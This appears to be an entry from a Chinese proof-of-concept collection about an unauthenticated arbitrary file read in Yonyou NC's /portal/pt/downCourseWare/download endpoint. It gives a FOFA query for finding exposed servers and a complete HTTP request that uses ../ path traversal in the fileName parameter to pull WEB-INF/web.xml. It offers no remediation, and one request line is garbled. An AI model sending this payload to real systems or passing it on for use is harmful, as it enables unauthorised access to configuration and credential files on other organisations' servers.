Y4-84用友-NC-任意文件读取

漏洞描述:

用友NC 系统 /portal/pt/downCourseWare/download接口的filename参数存在任意文件读取漏洞,未经身份认证的攻击者可以通过此漏洞获取敏感信息,使系统处于极不安全状态。

网站图片:







连接

与企业应用的链接优化,并支持企业应用在终端上的自 验相关的端服务,并对提供的服务进行应用优化。 动升级

UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造一个面向企业的端服务平台,提供改善体

体验

社交

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接,提供企业间数据共享和连接的服务,形成基于1 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

fofa语法:

app="用友-UFIDA-NC"

漏洞复现:

读取web.xml文件 payload:

GET /portal/pt/downCourseWare/download?fileName=../webapps/nc web/WEB-INF/web.xml&pageId=login HTTP/1.1

GET /portal/pt/downCourseWare/download?fileName=../webapps/nc_web/WEB-INF/web.xml&pageId=login HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN, zh;q=0.9
Connection: close

效果图:

